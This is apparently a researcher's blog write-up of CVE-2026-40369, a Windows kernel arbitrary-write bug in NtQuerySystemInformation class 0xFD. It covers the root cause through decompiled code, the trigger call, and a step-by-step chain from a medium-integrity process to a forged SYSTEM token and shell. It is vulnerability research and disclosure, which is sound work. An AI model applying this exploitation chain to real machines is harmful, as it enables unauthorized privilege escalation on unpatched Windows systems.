CVE-2026-40369: Twelve Bytes to Escape the Browser Sandbox
Posted by: voidsec Post Date: May 20, 2026
Reading Time: 13 minutes
TL;DR: CVE-2026-40369 is an unprivileged arbitrary 12-byte kernel write primitive in
nt!ExpGetProcessInformation, reachable from any context that can callNtQuerySystemInformation, including Chrome, Edge and Firefox renderer sandboxes. In this post, I dissect the root cause and how to chain the primitive into a full LPE to lift a Medium-IL non-administrator process up to NT AUTHORITY\SYSTEM viaNtCreateToken.
I had originally prepared this bug for Pwn2Own Berlin. A couple of days before the contest, Ori Nimron independently dropped a public PoC for the same primitive on GitHub. Since the cat is out of the bag, I’m releasing the technical write-up and the exploitation strategy of my own chain, which takes a different route to SYSTEM than Ori’s: rather than classical token theft, it forges a SYSTEM primary token from scratch via NtCreateToken, and I think it’s worth documenting.
Pre-Requisites
To follow this end-to-end, you’ll want to be comfortable with:
- The
NtQuerySystemInformationsyscall, its information classes, and the way the user-modeSystemInformationpointer is validated (or not) on the way down. - Hex-Rays / IDA Pro and basic Windows kernel reverse engineering. The decompile excerpts in this post come from
ntoskrnl.exeon Windows 11 25H2 build 26100.8246, withImageBase = 0x140000000. - The
_TOKENobject layout. The field offsets I’ll touch (ModifiedIdat+0x38,Privileges.Presentat+0x40,Privileges.Enabledat+0x48,SessionIdat+0x78) are the canonical ones for the 25H2 servicing branch; cross-reference with Vergilius when porting. - The WIL feature-state cache mechanism, and in particular how
Feature_RestrictKernelAddressLeaksgates the kernel-pointer-leaking information classes ofNtQuerySystemInformation(classes 11, 64, 66, etc.). NtCreateTokenand theSeCreateTokenPrivilege/SeTcbPrivilege/SeImpersonatePrivilegetrio used to materialise a forged SYSTEM token without going through the classical SeDebug + OpenProcess + DuplicateTokenEx dance.
The vulnerability in a nutshell
NtQuerySystemInformation(class=0xFD) forwards a caller-controlled pointer into nt!ExpGetProcessInformation where three kernel-mode DWORD writes are performed without validating the destination when Length == 0. Because ProbeForWrite() becomes a no-op on zero-length buffers, any writable kernel virtual address can be targeted from user mode, including browser renderer sandboxes.
Call graph and code path
NtQuerySystemInformation(SystemInformationClass, SystemInformation, Length, ReturnLength)
-> nt!NtQuerySystemInformation
-> nt!ExpQuerySystemInformation (probes SystemInformation, dispatches by class)
-> nt!ExpGetProcessInformation (process-walk worker, contains the unchecked write)
Symbol mapping for build 26100.8246 (ImageBase = 0x140000000):
nt!NtQuerySystemInformation:0x140AE08A0nt!ExpQuerySystemInformation:0x140ADBB10nt!ExpGetProcessInformation:0x140ADA6D0- Crash site (
inc dword ptr [rbx]):0x140ADAAFE nt!ProbeForWrite:0x14017C9F0nt!IoConfigurationInformation:0x140FD7838
The unchecked write
Hex-Rays output for nt!ExpGetProcessInformation (truncated for clarity):
NTSTATUS __fastcall ExpGetProcessInformation(
__int64 a1, // SystemInformation pointer (caller-controlled)
unsigned int a2, // Length
_DWORD *a3, // ReturnLength out
_DWORD *a4, // optional session-id filter
int a5) // information class (5 / 57 / 148 / 252 / 253)
{
unsigned int *v85, *v95, *v99;
...
v95 = (unsigned int *)a1;
...
if ( a5 == 252 ) { ...; v90 = v95; v85 = NULL; }
else {
v90 = NULL;
if ( a5 == 253 ) {
v77 = 0;
v86 = 12;
v71 = 12;
v87 = 0;
v99 = v95; // <-- v99 is set to the caller's pointer
v85 = NULL;
goto LABEL_11;
}
...
}
v99 = NULL; // <-- only reached for non-253 paths
LABEL_11:
...
/* size check: sets a status but DOES NOT return early */
v97 = v86;
v11 = a2 < v86;
if ( a2 < v86 ) {
if ( !a3 )
return STATUS_INFO_LENGTH_MISMATCH; /* only triggers if return-length out is NULL */
v11 = a2 < v86;
}
v13 = v11 ? STATUS_INFO_LENGTH_MISMATCH : 0; /* status latched, execution continues */
/* access-check section: SeAccessCheck does NOT gate the write below */
PreviousMode = KeGetCurrentThread()->PreviousMode;
if ( a5 != 148 || (result = ExCheckFullProcessInformationAccess(PreviousMode), result >= 0) )
{
...
SeAccessCheck(SeMediumDaclSd, ...);
...
/* main process-walk loop */
NextProcess = (__int64 *)PsIdleProcess;
while ( 1 ) {
if ( !NextProcess ) { ...; return v70; }
if ( !ExpSysInfoShouldSkipProcess((__int64)NextProcess)
&& (!a4 || NextProcess != PsIdleProcess) )
{
SessionId = PsGetSessionId((__int64)NextProcess);
if ( (!a4 || SessionId == *a4)
&& PsIsProcessInSilo((struct _KPROCESS *)NextProcess, CurrentServerSilo) )
break; /* fall through to the per-process body below */
}
NextProcess = ExGetNextProcess(NextProcess, v76, v21, v22);
}
if ( a5 == 253 ) {
v25 = v99;
++*v99; /* WRITE #1: [target+0] += 1 */
v25[1] += PsGetProcessActiveThreadCount((__int64)NextProcess); /* WRITE #2: [target+4] += threads */
v25[2] += ObGetProcessHandleCount((struct _EX_RUNDOWN_REF *)NextProcess, 0LL);
/* WRITE #3: [target+8] += handles */
}
...
Two facts to extract from this listing:
- The
v99 = v95 = (unsigned int *)a1assignment on thea5 == 253path makesv99an alias of the caller-controlled pointer. Nothing between this assignment and the writes validates that pointer. - The size check sets
v13 = STATUS_INFO_LENGTH_MISMATCHbut flows through. The early return only fires whena3(theReturnLengthpointer) is NULL, andExpQuerySystemInformationalways passes a kernel-stack local. For any standard caller, this return is unreachable. The writes happen before any of the loop’s exit branches inspect the latched status.
The unchecked dispatch
ExpQuerySystemInformation performs the ProbeForWrite at the head of the function (only when called from user mode), then runs an outer switch on the information class, then an inner switch that re-dispatches the same value:
int __fastcall ExpQuerySystemInformation(
int a1, /* class */
void *a2, /* internal pre-buffer, e.g. PrimaryGroupThread */
unsigned int a3, /* size of a2 */
__int64 a4, /* user SystemInformation pointer */
unsigned int Length,
_LIST_ENTRY *a6)
{
...
PreviousMode = KeGetCurrentThread()->PreviousMode;
if ( PreviousMode ) {
switch ( a1 ) {
case 12: v11 = 8; goto LABEL_6;
case 35: case 145: case 147:
case 149: case 158: case 163:
case 169: case 202: case 227: v10 = 1; v11 = 1; break;
default: v11 = 4;
LABEL_6: v10 = 1; break;
}
ProbeForWrite((volatile void *)a4, Length, v11); /* <-- probed here */
...
}
...
switch ( v179 /* class */ ) {
...
default:
goto LABEL_36; /* class 253 falls here */
}
LABEL_36:
...
LABEL_38:
switch ( v16 /* same class value */ ) {
...
case 5u:
case 0x39u:
case 0x94u:
case 0xFCu:
case 0xFDu:
SystemBasicInformation =
ExpGetProcessInformation(a4, Length, &Size, NULL, v16); /* <-- a4 forwarded as a1 */
goto LABEL_820;
...
}
}
A second call site to ExpGetProcessInformation exists later in the same function and uses a struct-embedded inner pointer that is explicitly probed:
v215 = *(volatile void **)(a4 + 8); v213 = *(_DWORD *)(a4 + 4); ProbeForWrite(v215, v213, 4u); SystemBasicInformation = ExpGetProcessInformation((__int64)v215, v213, &Size, &v185, 5);
The contrast is what makes the first call site exploitable: there is no analogous probe of a4 keyed to its actual use as a write target, only the generic head-of-function probe whose Length parameter is the user’s Length, which the attacker chooses.
The probe, a no-op
nt!ProbeForWrite:
void __stdcall ProbeForWrite(volatile void *Address, SIZE_T Length, ULONG Alignment)
{
if ( Length ) {
if ( ((Alignment - 1) & (unsigned int)Address) != 0 )
ExRaiseDatatypeMisalignment();
v3 = (unsigned __int64)Address + Length - 1;
if ( (unsigned __int64)Address > v3 || v3 >= 0x7FFFFFFF0000LL )
ExRaiseAccessViolation();
v4 = (volatile void *)((v3 & 0xFFFFFFFFFFFFF000uLL) + 4096);
do {
*(_BYTE *)Address = *(_BYTE *)Address; /* page-touch */
Address = (volatile void *)(((unsigned __int64)Address & 0xFFFFFFFFFFFFF000uLL) + 4096);
}
while ( Address != v4 );
}
}
Three things matter here:
Length == 0returns immediately, irrespective ofAddress. Neither the user-VA upper-bound check nor the alignment check executes.- The upper-bound check (
v3 >= 0x7FFFFFFF0000LL) is the user-mode address ceiling. IfLength != 0, it would reject any kernel-VA target; withLength == 0we never reach it. - The page-touch loop is the actual access-fault trigger. For
Length == 0it is skipped, so no exception is raised even whenAddressis unmapped or in kernel space.
Defensive layers failure
ProbeForWrite:Length == 0immediate return, the address is not validated.- Outer switch class filter: no filter for 253;
defaultfalls into the worker dispatch. - Inner switch:
case 0xFDushares a block with 5 / 57 / 148 / 252 and forwards the user pointer. ExCheckFullProcessInformationAccess: gated ona5 == 148; bypassed fora5 == 253.SeAccessCheckagainst medium DACL: only sets a flag used for thread-start masking; does not gate the writes.- Length sanity inside the worker: sets
v13 = STATUS_INFO_LENGTH_MISMATCHbut does NOT exit; the loop runs anyway. - SMAP: irrelevant as the write is kernel-mode to a kernel address.
- HVCI: protects code pages, not arbitrary kernel data.
- KPP: covers a curated set of structures only; most writable data is unprotected.
Controlled write
To prove the primitive, I decided to target something where the writes were observable through a non-destructive side channel. nt!IoConfigurationInformation is the global CONFIGURATION_INFORMATION struct returned by IoGetConfigurationInformation; its first 24 bytes are also returned by NtQuerySystemInformation class 7 (SystemDeviceInformation):
case 7u:
if ( Length == 24 ) {
*(_DWORD *)a4 = dword_140FD7838; /* DiskCount */
*(_DWORD *)(a4+4) = dword_140FD783C; /* FloppyCount */
*(_DWORD *)(a4+8) = dword_140FD7840; /* CdRomCount */
*(_DWORD *)(a4+12) = dword_140FD7844; /* TapeCount */
*(_DWORD *)(a4+16) = dword_140FD784C; /* SerialCount */
*(_DWORD *)(a4+20) = dword_140FD7850; /* ParallelCount */
...
Bumping these counters has no functional impact on the running system, as these are info consumed by user-mode tools.
Procedure:
- Resolve the current kernel base via
kd -kl(one-shot). - Read the six DWORDs via
NtQuerySystemInformation(7, buf, 24, &ret). - Trigger:
NtQuerySystemInformation(0xFD, target, 0, &ret). - Read the six DWORDs again.
Result:
PRE : +0=1 +4=0 +8=0 +12=0 +16=0 +20=0 POST: +0=311 +4=4419 +8=159307 +12=0 +16=0 +20=0
Status returned by the trigger syscall: STATUS_INFO_LENGTH_MISMATCH (0xC0000004), ReturnLength = 12.
Interpretation:
+0delta = 310 = number of running processes excludingIdleand processes the worker skips viaExpSysInfoShouldSkipProcess.+4delta = 4419 = sum ofPsGetProcessActiveThreadCountover those processes.+8delta = 159307 = sum ofObGetProcessHandleCount.+12,+16,+20unchanged. The write region is exactly 12 bytes wide.
The test was performed from a non-elevated process, demonstrating that the primitive does not depend on any privilege beyond Medium IL. The same syscall is reachable from inside browser renderer sandboxes (UNTRUSTED IL, Win32k lockdown, restricted token). That sandbox-escape path is outside the scope of this post; Ori Nimron’s write-up (linked in the references) covers it in detail.
Understanding the Primitive
Per single invocation of NtQuerySystemInformation(0xFD, target, 0, &ret):
*(DWORD*)(target + 0) += N: N = running process count (excluding Idle and a small skip-list).*(DWORD*)(target + 4) += T: T = sum ofPsGetProcessActiveThreadCount.*(DWORD*)(target + 8) += H: H = sum ofObGetProcessHandleCount.target + 12 ..unchanged.
Targeting constraints:
- Target can sit anywhere in writable kernel virtual memory mapped at call time.
- Target does not need to be 4-byte aligned. The three DWORD writes can span adjacent structure fields, a property the final exploit uses to land a single privilege bit in
_TOKEN.Privileges. - Target cannot be user-mode VA, unmapped kernel VA, HVCI-protected code, or KPP-protected data.
From the primitive to LPE
A 12-byte write, with not fully controlled value increments, doesn’t look like much. The LPE chain I built around it has five phases:
Phase 1 – KASLR break
Undocumented leak, as it is not fixed yet :)
Phase 2 – Gate flip (Feature_RestrictKernelAddressLeaks)
This is, in my opinion, the most interesting bit of the chain, because it bootstraps the rest of the exploit using only this primitive itself.
On recent Windows builds, the kernel-pointer-leaking information classes of NtQuerySystemInformation (most importantly class 64 SystemExtendedHandleInformation, which would happily return our token’s kernel VA) are gated behind Feature_RestrictKernelAddressLeaks. When the gate is active, those classes return zeroed pointers. So to leak our token’s VA, the gate has to come down first.
The encoding I reverse-engineered from IsEnabledDeviceUsageNoInline‘s fast path is:
- Low byte bit 0 = enabled.
- Low byte bit 4 = cached.
- Stock value at boot =
0x57(cached + enabled + trial flags).
For the fast path to “disable” it, we need (low_byte & 0x11) == 0x10: cached set, enabled clear. Whether the new low byte lands in our target class depends on (0x57 + N) mod 256.
If we land “not cached” (bit 4 clear), the WIL fallback (wil_details_FeatureStateCache_TryEnableDeviceUsageFastPath) re-asserts cached+enabled, and our write “disappears”.
The trick is to tune N before firing. Starting from 0x57, the smallest N satisfying (0x57 + N) & 0x11 == 0x10 is N >= 185. The chain spawns short-lived child helper processes until N is in a winning state.
Phase 3 – Token VA leak
With the gate off:
- Call
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &h)to obtain a handle to our own primary token. - Call
NtQuerySystemInformation(SystemExtendedHandleInformation = 0x40, ...). This returns an array ofSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, each containing the kernelObjectpointer. - Walk the array and match by
(UniqueProcessId == GetCurrentProcessId(), HandleValue == h). The matched entry’sObjectfield is our_TOKENkernel VA.
Relevant _TOKEN field offsets are:
+0x030 TokenLock _ERESOURCE* +0x038 ModifiedId LUID +0x040 Privileges.Present UINT64 +0x048 Privileges.Enabled UINT64 +0x050 Privileges.EnabledByDefault UINT64 +0x078 SessionId ULONG +0x098 UserAndGroups SID_AND_ATTRIBUTES*
Phase 4 – Privilege promotion
I targeted SeCreateTokenPrivilege instead of the usual SeDebug path. NtCreateToken‘s only privilege gate is SeSinglePrivilegeCheck(SeCreateTokenPrivilege), the same SepPrivilegeCheck mechanism, and it honours our bumped bits.
The chain runs a 3-step process, where each step independently waits for its bit to land on the random walk produced by repeated class-253 fires. None of the three needs to land in the same round; the cached forged token persists across rounds.
SeCreateTokenPrivilege: callNtCreateTokento forge a SYSTEM primary token:User = S-1-5-18,Groups = { S-1-5-32-544, S-1-1-0, S-1-16-16384 }, every privilege LUID enabled,AuthenticationId = { 0x3e7, 0 }. Cache the handle.SeTcbPrivilege: callSetTokenInformation(forgedToken, TokenSessionId, &callerSession, 4)to realign the forged token from session 0 to the caller’s interactive session. Without this, the shell spawns, but it isn’t reachable from the user’s desktop.SeImpersonatePrivilegeorSeAssignPrimaryTokenPrivilege+SeIncreaseQuotaPrivilege: callCreateProcessWithTokenW(forgedToken, cmd.exe, CREATE_NEW_CONSOLE, "winsta0\\default"), with fallback toCreateProcessAsUserW.
The per-round write pattern hits two targets and reads back the state in between:
fire(target = TOKEN+0x38) ; [+0]+=N -> ModifiedId.low
; [+4]+=T -> ModifiedId.high
; [+8]+=H -> Privileges.Present.low
read GetTokenInformation(TokenPrivileges) and decode bits 2, 7, 29, 3, 5
opportunisticSpawn(privStatus)
fire(target = TOKEN+0x40) ; [+0]+=N -> Privileges.Present.low
; [+4]+=T -> Privileges.Present.high
; [+8]+=H -> Privileges.Enabled.low
read again, opportunisticSpawn again
Each fire flips a different combination of bits in the low DWORDs of Present and Enabled (the second target adds H on top of the first target’s H + N). After a handful of rounds, the random walk has flipped enough bits that all three steps are complete.
Why not just OR the bits directly? Because inc / add propagates carry through the DWORD. Bumping Privileges.Present.low by some value sets some bits and clears others. The class-253 primitive does not give us value control, only repetition.
Phase 5 – SYSTEM shell
The chain returns immediately on the first successful shell spawn. The video below shows the full run from a Medium-IL non-admin prompt to a visible cmd.exe owned by NT AUTHORITY\SYSTEM.
Vulnerable Versions
I inspected several builds against the same ExpGetProcessInformation code path. Note that both Windows 11 24H2 and 25H2 share the kernel major build number 26100; the distinction below is by cumulative update (LCU) level, not by feature version alone. The regression was introduced in a mid-life 25H2 servicing LCU.
- Win11 24H2 26100.1742: not vulnerable. Bug not yet introduced; writes go through a per-process advancing pointer and are gated by buffer-size checks.
- Win11 25H2 26100.5074 through 26100.8328: vulnerable.
- Windows Server 2025 26100.32690: vulnerable.
References
- Ori Nimron’s parallel disclosure: https://github.com/orinimron123/CVE-2026-40369-EXPLOIT
- Vergilius Project: Windows kernel struct layouts per build.
- NtQuerySystemInformation reference.
- TOKEN_PRIVILEGES, ProbeForWrite.
- ZwCreateToken / NtCreateToken: WDK reference for the token-creation syscall used in Phase 4.
- Privilege constants: LUID values for
SeCreateTokenPrivilege,SeTcbPrivilege,SeImpersonatePrivilege, and friends.